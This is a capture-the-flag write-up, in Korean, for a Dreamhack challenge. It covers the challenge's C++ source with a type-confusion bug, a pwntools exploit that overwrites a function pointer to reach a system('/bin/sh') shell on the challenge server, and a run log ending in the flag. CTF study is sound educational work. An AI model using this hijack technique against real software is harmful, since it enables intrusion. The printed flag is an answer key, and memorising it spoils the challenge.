dreamhack - cpp_type_confusion writeup
[dreamhack] cpp_type_confusion writeup
1. 문제

cpp_type_confusion
이 문제는 서버에서 작동하고 있는 서비스(cpp_type_confusion)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾아 flag를 획득하세요!.
'flag' 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <iostream>
#include <csignal>
#include <unistd.h>
#include <cstdio>
#include <cstring>
#include <cstdlib>
int appleflag = 0;
int mangoflag = 0;
int applemangoflag = 0;
void getshell(){
system("/bin/sh");
}
void print_menu(){
std::cout << "I love Applemango!" << std::endl;
std::cout << "1. Make apple" << std::endl;
std::cout << "2. Make mango" << std::endl;
std::cout << "3. Mix apple, mango" << std::endl;
std::cout << "4. Eat" << std::endl;
std::cout << "5. Exit program" << std::endl;
std::cout << "[*] Select : ";
}
void mangohi(){
std::cout << "Mangoyum" << std::endl;
}
void applehi(){
std::cout << "Appleyum" << std::endl;
}
class Base{
public:
virtual void yum(){
}
};
class Apple : public Base{
public:
virtual void yum(){
std::cout << description << std::endl;
}
Apple(){
strcpy(description, "Appleyum\x00");
appleflag = 1;
};
~Apple(){
appleflag = 0;
}
char description[8];
};
class Mango : public Base{
public:
virtual void yum(){
description();
}
Mango(){
description = mangohi;
mangoflag = 1;
};
~Mango(){
mangoflag = 0;
}
void (*description)(void);
};
int main(){
initialize();
int selector;
std::string applemangoname;
Base *apple;
Base *mango;
Apple* mixer;
while(1){
print_menu();
std::cin >> selector;
switch(selector){
case 1:
apple = new Apple();
std::cout << "Apple Created!" << std::endl;
break;
case 2:
mango = new Mango();
std::cout << "Mango Created!" << std::endl;
break;
case 3:
if(appleflag && mangoflag){
applemangoflag = 1;
mixer = static_cast<Apple*>(mango);
std::cout << "Applemango name: ";
std::cin >> applemangoname;
strncpy(mixer->description, applemangoname.c_str(), 8);
std::cout << "Applemango Created!" << std::endl;
} else if(appleflag == 0 && mangoflag == 0){
std::cout << "You don't have anything!" << std::endl;
} else if(appleflag == 0){
std::cout << "You don't have apple!" << std::endl;
} else if(mangoflag == 0){
std::cout << "You don't have mango!" << std::endl;
}
break;
case 4:
std::cout << "1. Apple\n2. Mango\n3. Applemango\n[*] Select : ";
std::cin >> selector;
if(selector == 1){
if(appleflag){
apple->yum();
}
else{ std::cout << "You don't have apple!" << std::endl; }
} else if (selector == 2){
if(mangoflag){
mango->yum();
}
else{
std::cout << "you don't have mango!" << std::endl;
}
} else if (selector == 3){
if(applemangoflag) {
mixer->yum();
}
else{
std::cout << "you don't have Applemango!" << std::endl;
}
} else {
std::cout << "Wrong Choice!" << std::endl;
}
break;
case 5:
std::cout << "bye!" << std::endl;
return 0;
break;
default:
return 0;
}
}
return 0;
}
apple
, mango
를 만들고, 두개를 섞어서 applemango
를 만들 수 있다.
만든 과일을 먹으면 과일별 구조체에 있는 yum
함수를 실행한다.
yum
함수가 과일마다 동작하는 방식이 다른데, apple
구조체는 description
에 있는 내용을 출력하고 mango
구조체에서는 description
함수 포인터를 가리켜서 실행한다.
그런데 main
함수에서 apple
과 mango
를 섞을 때 mango
구조체를 apple
구조체로 casting하고, mixer
의 description
에 applemangoname
을 입력한다.
사실상 mango
구조체의 yum
함수가 실행될 때 어떤 함수가 실행될지를 변경하는 것이므로 만약 우리가 원하는 함수의 주소를 applemangoname
으로 주면 yum
함수 실행 시 해당 함수가 실행될 것이다.
따라서 exploit의 흐름은 아래와 같다.
- 1.
apple
과mango
를 각각 하나씩 생성한다. - 2. 두 과일을 섞고,
applemangoname
에get_shell
함수의 주소를 넣는다. - 3.
applemango
를 먹는다!
이를 바탕으로 exploit을 작성하였고, 잘 동작하는 것을 확인했다.
from pwn import *
p = process("./cpp_type_confusion")
p = remote("host3.dreamhack.games", 11176)
elf = ELF("./cpp_type_confusion")
get_shell = elf.symbols["_Z8getshellv"]
p.recvuntil("Select : ")
p.sendline("1")
p.recvuntil("Select : ")
p.sendline("2")
p.recvuntil("Select : ")
p.sendline("3")
p.recvuntil("Applemango name: ")
p.sendline(p64(get_shell))
p.recvuntil("Select : ")
p.sendline("4")
p.recvuntil("Select : ")
p.sendline("3")
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level1/cpp_type_confusion$ python3 e_cpp_type_confusion.py
[+] Starting local process './cpp_type_confusion': pid 2217847
[+] Opening connection to host3.dreamhack.games on port 11176: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level1/cpp_type_confusion/cpp_type_confusion'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Select : ")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline("1")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Select : ")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline("2")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Select : ")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:15: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline("3")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:16: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Applemango name: ")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:19: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Select : ")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:20: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline("4")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Select : ")
/home/ubuntu/dreamhack/level1/cpp_type_confusion/e_cpp_type_confusion.py:22: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline("3")
[*] Switching to interactive mode
$ cat flag
DH{4a969c04516654df9984f8aab2db7309}
해결~